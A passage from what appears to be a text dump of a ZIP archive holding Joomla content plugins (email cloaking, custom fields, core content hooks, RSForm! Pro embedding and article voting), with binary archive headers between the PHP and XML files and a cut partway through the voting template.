			$replacement = JHtml::_('email.cloak', $mail, $mode, $mailText, 0);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement = html_entity_decode($this->_addAttributesToEmail($replacement, $regs[1][0], $regs[4][0]));

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code
		 * <a href="mailto:email@amail.com?subject=Text"><img anything></a>
		 */
		$pattern = $this->_getPattern($searchEmailLink, $searchImage);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[1][0] . $regs[2][0] . $regs[3][0];
			$mailText = $regs[5][0];

			// Needed for handling of Body parameter
			$mail = str_replace('&amp;', '&', $mail);

			// Check to see if mail text is different from mail addy
			$replacement = JHtml::_('email.cloak', $mail, $mode, $mailText, 0);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement = html_entity_decode($this->_addAttributesToEmail($replacement, $regs[1][0], $regs[4][0]));

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code
		 * <a href="mailto:email@amail.com?subject=Text"><img anything>email@amail.com</a>
		 */
		$pattern = $this->_getPattern($searchEmailLink, $searchImage . $searchEmail);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[1][0] . $regs[2][0] . $regs[3][0];
			$mailText = $regs[4][0] . $regs[5][0] . $regs[6][0];

			// Needed for handling of Body parameter
			$mail = str_replace('&amp;', '&', $mail);

			// Check to see if mail text is different from mail addy
			$replacement = JHtml::_('email.cloak', $mail, $mode, $mailText);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement = html_entity_decode($this->_addAttributesToEmail($replacement, $regs[1][0], $regs[4][0]));

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0]));
		}

		/*
		 * Search for derivatives of link code
		 * <a href="mailto:email@amail.com?subject=Text"><img anything>any text</a>
		 */
		$pattern = $this->_getPattern($searchEmailLink, $searchImage . $searchText);

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[1][0] . $regs[2][0] . $regs[3][0];
			$mailText = $regs[4][0] . $regs[5][0] . addslashes($regs[6][0]);

			// Needed for handling of Body parameter
			$mail = str_replace('&amp;', '&', $mail);

			// Check to see if mail text is different from mail addy
			$replacement = JHtml::_('email.cloak', $mail, $mode, $mailText, 0);

			// Ensure that attributes is not stripped out by email cloaking
			$replacement = html_entity_decode($this->_addAttributesToEmail($replacement, $regs[1][0], $regs[4][0]));

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0]));
		}

		/*
		 * Search for plain text email addresses, such as email@example.org but not within HTML tags:
		 * <img src="..." title="email@example.org"> or <input type="text" placeholder="email@example.org">
		 * The '<[^<]*>(*SKIP)(*F)|' trick is used to exclude this kind of occurrences
		 */
		$pattern = '~<[^<]*>(*SKIP)(*F)|' . $searchEmail . '~i';

		while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE))
		{
			$mail = $regs[1][0];
			$replacement = JHtml::_('email.cloak', $mail, $mode);

			// Replace the found address with the js cloaked email
			$text = substr_replace($text, $replacement, $regs[1][1], strlen($mail));
		}

		return true;
	}
}
PK�(]���qqcontent/fields/fields.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.7.0" type="plugin" group="content" method="upgrade">
	<name>plg_content_fields</name>
	<author>Joomla! Project</author>
	<creationDate>February 2017</creationDate>
	<copyright>(C) 2017 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_CONTENT_FIELDS_XML_DESCRIPTION</description>
	<files>
		<filename plugin="fields">fields.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_content_fields.ini</language>
		<language tag="en-GB">en-GB.plg_content_fields.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]��ig``content/fields/fields.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.Fields
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die();

/**
 * Plug-in to show a custom field in eg an article
 * This uses the {fields ID} syntax
 *
 * @since  3.7.0
 */
class PlgContentFields extends JPlugin
{
	/**
	 * Plugin that shows a custom field
	 *
	 * @param   string  $context  The context of the content being passed to the plugin.
	 * @param   object  &$item    The item object.  Note $article->text is also available
	 * @param   object  &$params  The article params
	 * @param   int     $page     The 'page' number
	 *
	 * @return void
	 *
	 * @since  3.7.0
	 */
	public function onContentPrepare($context, &$item, &$params, $page = 0)
	{
		// If the item has a context, overwrite the existing one
		if ($context == 'com_finder.indexer' && !empty($item->context))
		{
			$context = $item->context;
		}
		elseif ($context == 'com_finder.indexer')
		{
			// Don't run this plugin when the content is being indexed and we have no real context
			return;
		}

		// Don't run if there is no text property (in case of bad calls) or it is empty
		if (empty($item->text))
		{
			return;
		}

		// Simple performance check to determine whether bot should process further
		if (strpos($item->text, 'field') === false)
		{
			return;
		}

		// Register FieldsHelper
		JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');

		// Prepare the text
		if (isset($item->text))
		{
			$item->text = $this->prepare($item->text, $context, $item);
		}

		// Prepare the intro text
		if (isset($item->introtext))
		{
			$item->introtext = $this->prepare($item->introtext, $context, $item);
		}
	}

	/**
	 * Prepares the given string by parsing {field} and {fieldgroup} groups and replacing them.
	 *
	 * @param   string  $string   The text to prepare
	 * @param   string  $context  The context of the content
	 * @param   object  $item     The item object
	 *
	 * @return string
	 *
	 * @since  3.8.1
	 */
	private function prepare($string, $context, $item)
	{
		// Search for {field ID} or {fieldgroup ID} tags and put the results into $matches.
		$regex = '/{(field|fieldgroup)\s+(.*?)}/i';
		preg_match_all($regex, $string, $matches, PREG_SET_ORDER);

		if (!$matches)
		{
			return $string;
		}

		$parts = FieldsHelper::extract($context);

		if (count($parts) < 2)
		{
			return $string;
		}

		$context    = $parts[0] . '.' . $parts[1];
		$fields     = FieldsHelper::getFields($context, $item, true);
		$fieldsById = array();
		$groups     = array();

		// Rearranging fields in arrays for easier lookup later.
		foreach ($fields as $field)
		{
			$fieldsById[$field->id]     = $field;
			$groups[$field->group_id][] = $field;
		}

		foreach ($matches as $i => $match)
		{
			// $match[0] is the full pattern match, $match[1] is the type (field or fieldgroup) and $match[2] the ID and optional the layout
			$explode = explode(',', $match[2]);
			$id      = (int) $explode[0];
			$output  = '';

			if ($match[1] == 'field' && $id)
			{
				if (isset($fieldsById[$id]))
				{
					$layout = !empty($explode[1]) ? trim($explode[1]) : $fieldsById[$id]->params->get('layout', 'render');
					$output = FieldsHelper::render(
						$context,
						'field.' . $layout,
						array(
							'item'    => $item,
							'context' => $context,
							'field'   => $fieldsById[$id]
						)
					);
				}
			}
			else
			{
				if ($match[2] === '*')
				{
					$match[0]     = str_replace('*', '\*', $match[0]);
					$renderFields = $fields;
				}
				else
				{
					$renderFields = isset($groups[$id]) ? $groups[$id] : '';
				}

				if ($renderFields)
				{
					$layout = !empty($explode[1]) ? trim($explode[1]) : 'render';
					$output = FieldsHelper::render(
						$context,
						'fields.' . $layout,
						array(
							'item'    => $item,
							'context' => $context,
							'fields'  => $renderFields
						)
					);
				}
			}

			$string = preg_replace("|$match[0]|", addcslashes($output, '\\$'), $string, 1);
		}

		return $string;
	}
}
PK�(]'/�"�"content/joomla/joomla.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.joomla
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Example Content Plugin
 *
 * @since  1.6
 */
class PlgContentJoomla extends JPlugin
{
	/**
	 * Example after save content method
	 * Article is passed by reference, but after the save, so no changes will be saved.
	 * Method is called right after the content is saved
	 *
	 * @param   string   $context  The context of the content passed to the plugin (added in 1.6)
	 * @param   object   $article  A JTableContent object
	 * @param   boolean  $isNew    If the content is just about to be created
	 *
	 * @return  boolean   true if function not enabled, is in frontend or is new. Else true or
	 *                    false depending on success of save function.
	 *
	 * @since   1.6
	 */
	public function onContentAfterSave($context, $article, $isNew)
	{
		// Check we are handling the frontend edit form.
		if ($context !== 'com_content.form')
		{
			return true;
		}

		// Check if this function is enabled.
		if (!$this->params->def('email_new_fe', 1))
		{
			return true;
		}

		// Check this is a new article.
		if (!$isNew)
		{
			return true;
		}

		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName('id'))
			->from($db->quoteName('#__users'))
			->where($db->quoteName('sendEmail') . ' = 1')
			->where($db->quoteName('block') . ' = 0');
		$db->setQuery($query);
		$users = (array) $db->loadColumn();

		if (empty($users))
		{
			return true;
		}

		$user = JFactory::getUser();

		// Messaging for new items
		JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_messages/models', 'MessagesModel');
		JTable::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_messages/tables');

		$default_language = JComponentHelper::getParams('com_languages')->get('administrator');
		$debug = JFactory::getConfig()->get('debug_lang');
		$result = true;

		foreach ($users as $user_id)
		{
			if ($user_id != $user->id)
			{
				// Load language for messaging
				$receiver = JUser::getInstance($user_id);
				$lang = JLanguage::getInstance($receiver->getParam('admin_language', $default_language), $debug);
				$lang->load('com_content');
				$message = array(
					'user_id_to' => $user_id,
					'subject' => $lang->_('COM_CONTENT_NEW_ARTICLE'),
					'message' => sprintf($lang->_('COM_CONTENT_ON_NEW_CONTENT'), $user->get('name'), $article->title)
				);
				$model_message = JModelLegacy::getInstance('Message', 'MessagesModel');
				$result = $model_message->save($message);
			}
		}

		return $result;
	}

	/**
	 * Don't allow categories to be deleted if they contain items or subcategories with items
	 *
	 * @param   string  $context  The context for the content passed to the plugin.
	 * @param   object  $data     The data relating to the content that was deleted.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	public function onContentBeforeDelete($context, $data)
	{
		// Skip plugin if we are deleting something other than categories
		if ($context !== 'com_categories.category')
		{
			return true;
		}

		// Check if this function is enabled.
		if (!$this->params->def('check_categories', 1))
		{
			return true;
		}

		$extension = JFactory::getApplication()->input->getString('extension');

		// Default to true if not a core extension
		$result = true;

		$tableInfo = array(
			'com_banners' => array('table_name' => '#__banners'),
			'com_contact' => array('table_name' => '#__contact_details'),
			'com_content' => array('table_name' => '#__content'),
			'com_newsfeeds' => array('table_name' => '#__newsfeeds'),
			'com_weblinks' => array('table_name' => '#__weblinks')
		);

		// Now check to see if this is a known core extension
		if (isset($tableInfo[$extension]))
		{
			// Get table name for known core extensions
			$table = $tableInfo[$extension]['table_name'];

			// See if this category has any content items
			$count = $this->_countItemsInCategory($table, $data->get('id'));

			// Return false if db error
			if ($count === false)
			{
				$result = false;
			}
			else
			{
				// Show error if items are found in the category
				if ($count > 0)
				{
					$msg = JText::sprintf('COM_CATEGORIES_DELETE_NOT_ALLOWED', $data->get('title'))
						. JText::plural('COM_CATEGORIES_N_ITEMS_ASSIGNED', $count);
					JError::raiseWarning(403, $msg);
					$result = false;
				}

				// Check for items in any child categories (if it is a leaf, there are no child categories)
				if (!$data->isLeaf())
				{
					$count = $this->_countItemsInChildren($table, $data->get('id'), $data);

					if ($count === false)
					{
						$result = false;
					}
					elseif ($count > 0)
					{
						$msg = JText::sprintf('COM_CATEGORIES_DELETE_NOT_ALLOWED', $data->get('title'))
							. JText::plural('COM_CATEGORIES_HAS_SUBCATEGORY_ITEMS', $count);
						JError::raiseWarning(403, $msg);
						$result = false;
					}
				}
			}

			return $result;
		}
	}

	/**
	 * Get count of items in a category
	 *
	 * @param   string   $table  table name of component table (column is catid)
	 * @param   integer  $catid  id of the category to check
	 *
	 * @return  mixed  count of items found or false if db error
	 *
	 * @since   1.6
	 */
	private function _countItemsInCategory($table, $catid)
	{
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);

		// Count the items in this category
		$query->select('COUNT(id)')
			->from($table)
			->where('catid = ' . $catid);
		$db->setQuery($query);

		try
		{
			$count = $db->loadResult();
		}
		catch (RuntimeException $e)
		{
			JError::raiseWarning(500, $e->getMessage());

			return false;
		}

		return $count;
	}

	/**
	 * Get count of items in a category's child categories
	 *
	 * @param   string   $table  table name of component table (column is catid)
	 * @param   integer  $catid  id of the category to check
	 * @param   object   $data   The data relating to the content that was deleted.
	 *
	 * @return  mixed  count of items found or false if db error
	 *
	 * @since   1.6
	 */
	private function _countItemsInChildren($table, $catid, $data)
	{
		$db = JFactory::getDbo();

		// Create subquery for list of child categories
		$childCategoryTree = $data->getTree();

		// First element in tree is the current category, so we can skip that one
		unset($childCategoryTree[0]);
		$childCategoryIds = array();

		foreach ($childCategoryTree as $node)
		{
			$childCategoryIds[] = $node->id;
		}

		// Make sure we only do the query if we have some categories to look in
		if (count($childCategoryIds))
		{
			// Count the items in this category
			$query = $db->getQuery(true)
				->select('COUNT(id)')
				->from($table)
				->where('catid IN (' . implode(',', $childCategoryIds) . ')');
			$db->setQuery($query);

			try
			{
				$count = $db->loadResult();
			}
			catch (RuntimeException $e)
			{
				JError::raiseWarning(500, $e->getMessage());

				return false;
			}

			return $count;
		}
		else
			// If we didn't have any categories to check, return 0
		{
			return 0;
		}
	}

	/**
	 * Change the state in core_content if the state in a table is changed
	 *
	 * @param   string   $context  The context for the content passed to the plugin.
	 * @param   array    $pks      A list of primary key ids of the content that has changed state.
	 * @param   integer  $value    The value of the state that the content has been changed to.
	 *
	 * @return  boolean
	 *
	 * @since   3.1
	 */
	public function onContentChangeState($context, $pks, $value)
	{
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName('core_content_id'))
			->from($db->quoteName('#__ucm_content'))
			->where($db->quoteName('core_type_alias') . ' = ' . $db->quote($context))
			->where($db->quoteName('core_content_item_id') . ' IN (' . $pksImploded = implode(',', $pks) . ')');
		$db->setQuery($query);
		$ccIds = $db->loadColumn();

		$cctable = new JTableCorecontent($db);
		$cctable->publish($ccIds, $value);

		return true;
	}

	/**
	* The save event.
	*
	* @param   string   $context  The context
	* @param   object   $table    The item
	* @param   boolean  $isNew    Is new item
	*
	* @return  void
	*
	* @since   3.9.12
	*/
	public function onContentBeforeSave($context, $table, $isNew)
	{
		// Check we are handling the frontend edit form.
		if ($context !== 'com_menus.item')
		{
			return true;
		}

		// Special case for Create article menu item
		if ($table->link !== 'index.php?option=com_content&view=form&layout=edit')
		{
			return true;
		}

		// Display error if catid is not set when enable_category is enabled
		$params = json_decode($table->params, true);

		if ($params['enable_category'] == 1 && empty($params['catid']))
		{
			$table->setError(JText::_('COM_CONTENT_CREATE_ARTICLE_ERROR'));

			return false;
		}
	}
}
PK�(]�|f..content/joomla/joomla.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="content" method="upgrade">
	<name>plg_content_joomla</name>
	<author>Joomla! Project</author>
	<creationDate>November 2010</creationDate>
	<copyright>(C) 2010 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_CONTENT_JOOMLA_XML_DESCRIPTION</description>
	<files>
		<filename plugin="joomla">joomla.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_content_joomla.ini</language>
		<language tag="en-GB">en-GB.plg_content_joomla.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="check_categories"
					type="radio"
					label="PLG_CONTENT_JOOMLA_FIELD_CHECK_CATEGORIES_LABEL"
					description="PLG_CONTENT_JOOMLA_FIELD_CHECK_CATEGORIES_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field 
					name="email_new_fe"
					type="radio"
					label="PLG_CONTENT_JOOMLA_FIELD_EMAIL_NEW_FE_LABEL"
					description="PLG_CONTENT_JOOMLA_FIELD_EMAIL_NEW_FE_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
			</fieldset>
		</fields>
	</config>

</extension>
PK�(]�5JJcontent/rsform/script.phpnu�[���<?php
/**
* @package RSForm! Pro
* @copyright (C) 2007-2015 www.rsjoomla.com
* @license GPL, http://www.gnu.org/copyleft/gpl.html
*/

defined('_JEXEC') or die('Restricted access');

class plgContentRsformInstallerScript
{
	protected static $minJoomla = '3.7.0';
	protected static $minComponent = '3.0.0';
	
	public function preflight($type, $parent)
	{
		if ($type == 'uninstall')
		{
			return true;
		}

		try
		{
			$jversion = new JVersion();

			if (!$jversion->isCompatible(static::$minJoomla))
			{
				throw new Exception('Please upgrade to at least Joomla! ' . static::$minJoomla . ' before continuing!');
			}

			if (!file_exists(JPATH_ADMINISTRATOR.'/components/com_rsform/helpers/rsform.php'))
			{
				throw new Exception('Please install the RSForm! Pro component before continuing.');
			}

			if (!file_exists(JPATH_ADMINISTRATOR.'/components/com_rsform/helpers/assets.php') || !file_exists(JPATH_ADMINISTRATOR.'/components/com_rsform/helpers/version.php'))
			{
				throw new Exception('Please upgrade RSForm! Pro to at least version ' . static::$minComponent . ' before continuing!');
			}

			require_once JPATH_ADMINISTRATOR.'/components/com_rsform/helpers/version.php';

			if (!class_exists('RSFormProVersion') || version_compare((string) new RSFormProVersion, static::$minComponent, '<'))
			{
				throw new Exception('Please upgrade RSForm! Pro to at least version ' . static::$minComponent . ' before continuing!');
			}
		}
		catch (Exception $e)
		{
			JFactory::getApplication()->enqueueMessage($e->getMessage(), 'error');
			return false;
		}

		return true;
	}
	
	public function postflight($type, $parent) {
		if ($type == 'uninstall') {
			return true;
		}
		
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);
		$query->select('extension_id')
			  ->from($db->qn('#__extensions'))
			  ->where($db->qn('type').' = '.$db->q('plugin'))
			  ->where($db->qn('folder').' = '.$db->q('content'))
			  ->where($db->qn('element').' = '.$db->q('rsform'));
		$pluginId = $db->setQuery($query)->loadResult();
		?>
		<style type="text/css">
		.version-history {
			margin: 0 0 2em 0;
			padding: 0;
			list-style-type: none;
		}
		.version-history > li {
			margin: 0 0 0.5em 0;
			padding: 0 0 0 4em;
			text-align:left;
			font-weight:normal;
		}
		.version-new,
		.version-fixed,
		.version-upgraded {
			float: left;
			font-size: 0.8em;
			margin-left: -4.9em;
			width: 4.5em;
			color: white;
			text-align: center;
			font-weight: bold;
			text-transform: uppercase;
			-webkit-border-radius: 4px;
			-moz-border-radius: 4px;
			border-radius: 4px;
		}

		.version-new {
			background: #7dc35b;
		}
		.version-fixed {
			background: #e9a130;
		}
		.version-upgraded {
			background: #61b3de;
		}
		</style>

		<h3>RSForm! Pro Content Plugin v3.0.0 Changelog</h3>
		<ul class="version-history">
			<li><span class="version-upgraded">Upg</span> Joomla! 4.0 and RSForm! Pro 3.0 compatibility.</li>
		</ul>
		<?php if ($pluginId) { ?>
		<a class="btn btn-primary btn-large" href="<?php echo JRoute::_('index.php?option=com_plugins&task=plugin.edit&extension_id='.$pluginId); ?>">Start using the RSForm! Pro Content Plugin.</a>
		<?php } ?>
		<a class="btn" href="https://www.rsjoomla.com/support/documentation/rsform-pro/plugins-and-modules/content-plugin-plgcontent-display-the-form-in-an-article.html" target="_blank">Read the documentation</a>
		<a class="btn btn-secondary" href="https://www.rsjoomla.com/support.html" target="_blank">Get Support!</a>
		<div style="clear: both;"></div>
		<?php
	}
}PK�(]�S@##content/rsform/rsform.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="2.5" type="plugin" group="content" method="upgrade">
	<name>Content - RSForm! Pro</name>
	<author>RSJoomla!</author>
	<creationDate>June 2015</creationDate>
	<copyright>(C) 2007-2017 www.rsjoomla.com</copyright>
	<license>GNU General Public License</license>
	<authorEmail>support@rsjoomla.com</authorEmail>
	<authorUrl>www.rsjoomla.com</authorUrl>
	<version>3.0.0</version>
	<scriptfile>script.php</scriptfile>
	
	<updateservers>
        <server type="extension" priority="1" name="RSForm! Pro - Content Plugin">https://www.rsjoomla.com/updates/com_rsform/Plugins/plg_content.xml</server>
    </updateservers>
	
	<description><![CDATA[PLG_CONTENT_RSFORM_DESC]]></description>
	<files>
		<filename plugin="rsform">rsform.php</filename>
		<filename>index.html</filename>
	</files>
	<languages folder="language/en-GB">
		<language tag="en-GB">en-GB.plg_content_rsform.ini</language>
		<language tag="en-GB">en-GB.plg_content_rsform.sys.ini</language>
	</languages>
</extension>PK�(]��}r

content/rsform/rsform.phpnu�[���<?php
/**
* @package RSForm! Pro
* @copyright (C) 2007-2015 www.rsjoomla.com
* @license GPL, http://www.gnu.org/copyleft/gpl.html
*/

defined('_JEXEC') or die('Restricted access');

class plgContentRsform extends JPlugin
{
	// Joomla! Triggers - onContentPrepare()
	public function onContentPrepare($context, &$row, &$params, $page = 0)
	{
		// Don't run this plugin when the content is being indexed
		if ($context == 'com_finder.indexer')
		{
			return true;
		}

		if (is_object($row) && isset($row->text))
		{
			$this->_addForm($row->text);
		}
		elseif (is_string($row))
		{
			$this->_addForm($row);
		}
	}
	
	// Syntax replacement function
	private function _addForm(&$text)
	{
		// Performance check
		if (strpos($text, '{rsform ') === false)
		{
			return false;
		}

		if (!class_exists('RSFormProHelper'))
		{
			$helper = JPATH_ADMINISTRATOR . '/components/com_rsform/helpers/rsform.php';
			if (!file_exists($helper))
			{
				return false;
			}

			require_once $helper;
		}

		// Expression to search for
		$pattern = '#\{rsform ([0-9]+)(.*?)?\}#i';
		// Found matches
		if (preg_match_all($pattern, $text, $matches))
		{
			// No replacement when we're not dealing with HTML
			if (JFactory::getDocument()->getType() != 'html')
			{
				$text = preg_replace($pattern, '', $text);
				return true;
			}

			// Load language
			JFactory::getLanguage()->load('com_rsform', JPATH_SITE);

			// Disable caching
			JFactory::getCache('com_content')->setCaching(false);

			foreach ($matches[0] as $i => $fullMatch)
			{
				$attributes = trim($matches[2][$i]);
				if (strlen($attributes) && preg_match_all('#[a-z0-9_\-]+=".*?"#i', $attributes, $attributesMatches))
				{
					$data = array();

					foreach ($attributesMatches[0] as $pair)
					{
						list($attribute, $value) = explode('=', $pair, 2);

						$attribute  = trim(html_entity_decode($attribute));
						$value 		= html_entity_decode(trim($value, '"'));

						if (isset($data[$attribute]))
						{
							if (!is_array($data[$attribute]))
							{
								$data[$attribute] = (array) $data[$attribute];
							}

							$data[$attribute][] = $value;
						}
						else
						{
							$data[$attribute] = $value;
						}
					}

					if ($data)
					{
						JFactory::getApplication()->input->get->set('form', $data);
					}
				}

				$formId = $matches[1][$i];
				$text = str_replace($fullMatch, RSFormProHelper::displayForm($formId, true), $text);
			}
		}

		return true;
	}
}PK�(]�#o,,content/rsform/index.htmlnu�[���<html><body bgcolor="#FFFFFF"></body></html>PK�(]��`�jjcontent/vote/vote.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.vote
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Vote plugin.
 *
 * @since  1.5
 */
class PlgContentVote extends JPlugin
{
	/**
	 * Application object
	 *
	 * @var    JApplicationCms
	 * @since  3.7.0
	 */
	protected $app;

	/**
	 * The position the voting data is displayed in relative to the article.
	 *
	 * @var    string
	 * @since  3.7.0
	 */
	protected $votingPosition;

	/**
	 * Constructor.
	 *
	 * @param   object  &$subject  The object to observe
	 * @param   array   $config    An optional associative array of configuration settings.
	 *
	 * @since   3.7.0
	 */
	public function __construct(&$subject, $config)
	{
		parent::__construct($subject, $config);

		$this->votingPosition = $this->params->get('position', 'top');
	}

	/**
	 * Displays the voting area when viewing an article and the voting section is displayed before the article
	 *
	 * @param   string   $context  The context of the content being passed to the plugin
	 * @param   object   &$row     The article object
	 * @param   object   &$params  The article params
	 * @param   integer  $page     The 'page' number
	 *
	 * @return  string|boolean  HTML string containing code for the votes if in com_content else boolean false
	 *
	 * @since   1.6
	 */
	public function onContentBeforeDisplay($context, &$row, &$params, $page = 0)
	{
		if ($this->votingPosition !== 'top')
		{
			return '';
		}

		return $this->displayVotingData($context, $row, $params, $page);
	}

	/**
	 * Displays the voting area when viewing an article and the voting section is displayed after the article
	 *
	 * @param   string   $context  The context of the content being passed to the plugin
	 * @param   object   &$row     The article object
	 * @param   object   &$params  The article params
	 * @param   integer  $page     The 'page' number
	 *
	 * @return  string|boolean  HTML string containing code for the votes if in com_content else boolean false
	 *
	 * @since   3.7.0
	 */
	public function onContentAfterDisplay($context, &$row, &$params, $page = 0)
	{
		if ($this->votingPosition !== 'bottom')
		{
			return '';
		}

		return $this->displayVotingData($context, $row, $params, $page);
	}

	/**
	 * Displays the voting area
	 *
	 * @param   string   $context  The context of the content being passed to the plugin
	 * @param   object   &$row     The article object
	 * @param   object   &$params  The article params
	 * @param   integer  $page     The 'page' number
	 *
	 * @return  string|boolean  HTML string containing code for the votes if in com_content else boolean false
	 *
	 * @since   3.7.0
	 */
	private function displayVotingData($context, &$row, &$params, $page)
	{
		$parts = explode('.', $context);

		if ($parts[0] !== 'com_content')
		{
			return false;
		}

		if (empty($params) || !$params->get('show_vote', null))
		{
			return '';
		}

		// Load plugin language files only when needed (ex: they are not needed if show_vote is not active).
		$this->loadLanguage();

		// Get the path for the rating summary layout file
		$path = JPluginHelper::getLayoutPath('content', 'vote', 'rating');

		// Render the layout
		ob_start();
		include $path;
		$html = ob_get_clean();

		if ($this->app->input->getString('view', '') === 'article' && $row->state == 1)
		{
			// Get the path for the voting form layout file
			$path = JPluginHelper::getLayoutPath('content', 'vote', 'vote');

			// Render the layout
			ob_start();
			include $path;
			$html .= ob_get_clean();
		}

		return $html;
	}
}
PK�(]m*�~~content/vote/vote.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="content" method="upgrade">
	<name>plg_content_vote</name>
	<author>Joomla! Project</author>
	<creationDate>November 2005</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_VOTE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="vote">vote.php</filename>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_content_vote.ini</language>
		<language tag="en-GB">en-GB.plg_content_vote.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="position"
					type="list"
					label="PLG_VOTE_POSITION_LABEL"
					description="PLG_VOTE_POSITION_DESC"
					default="top"
					>
					<option value="top">PLG_VOTE_TOP</option>
					<option value="bottom">PLG_VOTE_BOTTOM</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]'��wwcontent/vote/tmpl/rating.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.vote
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Layout variables
 * -----------------
 * @var   string   $context  The context of the content being passed to the plugin
 * @var   object   &$row     The article object
 * @var   object   &$params  The article params
 * @var   integer  $page     The 'page' number
 * @var   array    $parts    The context segments
 * @var   string   $path     Path to this file
 */

if ($context == 'com_content.categories')
{
	return;
}

$rating = (int) $row->rating;
$rcount = (int) $row->rating_count;

// Look for images in template if available
$starImageOn  = JHtml::_('image', 'system/rating_star.png', JText::_('PLG_VOTE_STAR_ACTIVE'), null, true);
$starImageOff = JHtml::_('image', 'system/rating_star_blank.png', JText::_('PLG_VOTE_STAR_INACTIVE'), null, true);

$img = '';

for ($i = 0; $i < $rating; $i++)
{
	$img .= $starImageOn;
}

for ($i = $rating; $i < 5; $i++)
{
	$img .= $starImageOff;
}

?>
<div class="content_rating">
	<?php if ($rcount) : ?>
		<p class="unseen element-invisible" itemprop="aggregateRating" itemscope itemtype="https://schema.org/AggregateRating">
			<?php echo JText::sprintf('PLG_VOTE_USER_RATING', '<span itemprop="ratingValue">' . $rating . '</span>', '<span itemprop="bestRating">5</span>'); ?>
			<meta itemprop="ratingCount" content="<?php echo $rcount; ?>" />
			<meta itemprop="worstRating" content="1" />
		</p>
	<?php endif; ?>
	<?php echo $img; ?>
</div>
PK�(]^�y��content/vote/tmpl/vote.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.vote
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Layout variables
 * -----------------
 * @var   string   $context  The context of the content being passed to the plugin
 * @var   object   &$row     The article object
 * @var   object   &$params  The article params
 * @var   integer  $page     The 'page' number
 * @var   array    $parts    The context segments
 * @var   string   $path     Path to this file
 */

$uri = clone JUri::getInstance();
$uri->setVar('hitcount', '0');

// Create option list for voting select box
$options = array();

for ($i = 1; $i < 6; $i++)
{
